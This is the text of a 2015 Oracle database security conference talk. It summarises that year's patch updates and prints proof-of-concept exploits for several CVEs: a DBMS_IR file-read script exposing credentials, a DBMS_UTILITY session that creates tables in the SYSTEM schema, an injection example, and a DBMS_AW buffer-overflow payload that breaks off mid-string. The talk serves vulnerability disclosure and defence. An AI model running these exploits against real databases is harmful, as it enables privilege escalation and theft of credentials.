Best of Oracle Security 2015

What happened in 2015?
"To the best of our knowledge, an Oracle database hasn't been broken into for a couple of decades by anybody," Ellison replied. "It's so secure, there are people that complain," he added. *

* [http://www.reuters.com/article/2014/01/30/us-oracle-nsa-idUSBREA0T05U20140130](http://www.reuters.com/article/2014/01/30/us-oracle-nsa-idUSBREA0T05U20140130)
Agenda

- Intro
- January 2015 - November 2015
- Outlook 2016
- Q&A
Introduction

What will be shown in the next 45 minutes?

- Oracle Security Patches
- Other Injection techniques
- New ways to exploit SQL Injection in PL/SQL packages
- Oracle CSO statement about evil security consultants
- Why 12c helps attackers and protects the environment
- Outlook 2016
Oracle Vulnerabilities 2015
Number of vulnerabilities in Oracle database increasing again


- January 2015 CPU (8 Vulnerabilities – 0 remote)
- April 2015 CPU (4 Vulnerabilities – 0 remote)
- July 2015 CPU (10 Vulnerabilities – 2 remote)
- October 2015 CPU (7 Vulnerabilities – 1 remote)
2015
Oracle CPU January 2015
Privilege Escalation via Oracle Indexes
Nasty Oracle vulnerability leaves researcher gobsmacked

** http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf
*** https://threatpost.com/nasty-oracle-vulnerability-leaves-researcher-flabbergasted/110543/
January 2015 CPU*

- 8 security fixes (No remote exploitable)
- 3 Core RDBMS (CVSS 9.0, 4.9, 3.5)
- 1 XML Developer’s Kit (6.8)
- 1 OJVM (6.5)
- 1 Workspace Manager (6.5)
- 1 Recovery (6.3)
- 1 PLSQL (4.0)

Bypass Oracle Home restrictions in DBMS_IR (CVE-2014-6541) *

- CVSS Score: 4.0
- Affected Version: 11.1.0.7, 11.2.0.3, 11.2.0.4, 12.1.0.1, 12.1.0.2
- Required Privilege: Create Session, Execute on DBMS_IR (Intelligent Repair)
- DBMS_IR.EXECSQLSCRIPT can execute scripts out the Oracle Home directory on Windows using UNC. Allows privilege escalation

- Exploit
dbms_ir.execSQLScript(filename => '\\localhost\c$\my_dir\myscript.hm');

DBMS_IR

- Allows to read/write files from the Oracle Home WITHOUT using Oracle directories
- Not granted to public by default but you should double-check
- Granted to DBA and SYSBACKUP by default
set serveroutput on

DECLARE
  fid   NATURAL;
  outbuf VARCHAR2(4000);
BEGIN
  dbms_ir.openScriptFile('C:\app\ora12\product\12.1.0\dbhome_1\oc4j\j2ee\home\config\principals.xml', fid);
  dbms_output.put_line(fid);
  dbms_ir.getFile(fid, outbuf);
  dbms_output.put_line(outbuf);
  dbms_ir.closeScriptFile(fid);
EXCEPTION
  WHEN OTHERS THEN
    dbms_ir.closeScriptFile(fid);
END;
/
<group name="guests">
  <description>guests</description>
</group>

<group name="administrators">
  <description>administrators</description>
  <permission name="administration" />
</group>

<group name="jmxusers">
  <description>jmx users</description>
  <permission name="rmi:login" />
</group>
</groups>

<users>
  <user username="SCOTT" password="TIGER">
    <description>no description</description>
    <group-membership group="users" />
  </user>
  <user username="user" password="456" deactivated="true" />
</users>
Create table via DBMS_UTILITY (CVE-2014-6514) *

- CVSS Score: 4.0
- Affected Version: 11.1.0.7, 11.2.0.3, 11.2.0.4, 12.1.0.1
- Create table without having create table privilege
- Create tables in other schema without create any table privilege
- e.g. create table dual/dba_users in other schema (sys/system/...)

Create table via DBMS_UTILITY (CVE-2014-6514)

C:\Users\Administrator>sqlplus / as sysdba
SQL*Plus: Release 11.2.0.3.0 Production on Fri Nov 13 08:57:47 2015
Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit
Production

SQL> grant connect to doag2015 identified by doag2015;
Grant succeeded.

SQL> conn doag2015/doag2015
Connected.

SQL> exec dbms_utility.create_alter_type_error_table ('DOAG2015','TEST');
PL/SQL procedure successfully completed.

SQL> select * from cat;

<table>
<thead>
<tr>
<th>TABLE_NAME</th>
<th>TABLE_TYPE</th>
</tr>
</thead>
<tbody>
<tr>
<td>TEST</td>
<td>TABLE</td>
</tr>
</tbody>
</table>
Create table via DBMS_UTILITY (CVE-2014-6514)

Don’t try this on your database !!!

C:\Users\Administrator>sqlplus / as sysdba
SQL*Plus: Release 11.2.0.3.0 Production on Fri Nov 13 08:57:47 2015
Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit
Production

SQL> grant connect to doag2015a identified by doag2015a;
Grant succeeded.

SQL> grant create table to doag2015a;

Grant succeeded.

SQL> conn doag2015a/doag2015a
Connected.

SQL> exec dbms_utility.createAlterTypeErrorTable ("SYSTEM","DBA_USERS");
PL/SQL procedure successfully completed.

SQL> exec dbms_utility.createAlterTypeErrorTable ("SYSTEM","DUAL");
PL/SQL procedure successfully completed.
PROCEDURE CREATE_ALTER_TYPE_ERROR_TABLE( SCHEMA_NAME IN VARCHAR2,
     TABLE_NAME IN VARCHAR2) IS

SCHEMA VARCHAR2(30);
BEGIN
    SCHEMA := SCHEMA_NAME;

    ... IF (UPPER(SCHEMA) <> CURRENT_USER) THEN
        SELECT COUNT(*) INTO PRIV_CNT FROM SYS.SYSAUTH$ S
            WHERE GRANTEE# = (SELECT UID FROM DUAL) AND
            PRIVILEGE# IN (-40 , -- create table
                                                        -41 -- create any table);

    IF (PRIV_CNT = 0) THEN
        RAISE_APPLICATION_ERROR(-20000,
            'You have insufficient privileges to create a table in ' || SCHEMA);
    END IF;

    EXECUTE IMMEDIATE
        'create table ' || DBMS_ASSERT.SIMPLE_SQL_NAME(SCHEMA) || '. ' ||
            DBMS_ASSERT.SIMPLE_SQL_NAME(TABLE_NAME) ||
            ' ( owner varchar(30), object_name varchar(30), sequence# number,
                text_length number, error_text varchar(4000) ) ';

    ... END CREATE_ALTER_TYPE_ERROR_TABLE;
Various numeric SQL Injection in WMSYS.LT (CVE-2014-6578)

- CVSS Score: 6.5
- Affected Version: 11.1.0.7, 11.2.0.3, 11.2.0.4, 12.1.0.1
- Required Privilege: Create Session, Create Table, Create Procedure, Execute on SDO_TOPO, Execute on WMSYS.LT
- Exploit

```sql
exec dbms_wm.LockRows('NEWWORKSPACE', 'employees', 'last_name = ''Smith''');
```
Buffer Overflow in DBMS_AW.EXECUTE (CVE-2014-6567) *

- CVSS Score: 9.0
- Affected Version: Oracle12c, 11gR2, 11gR1
- Required Privilege: Create Session
- Exploit

```sql
exec dbms_aw.execute('cda
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
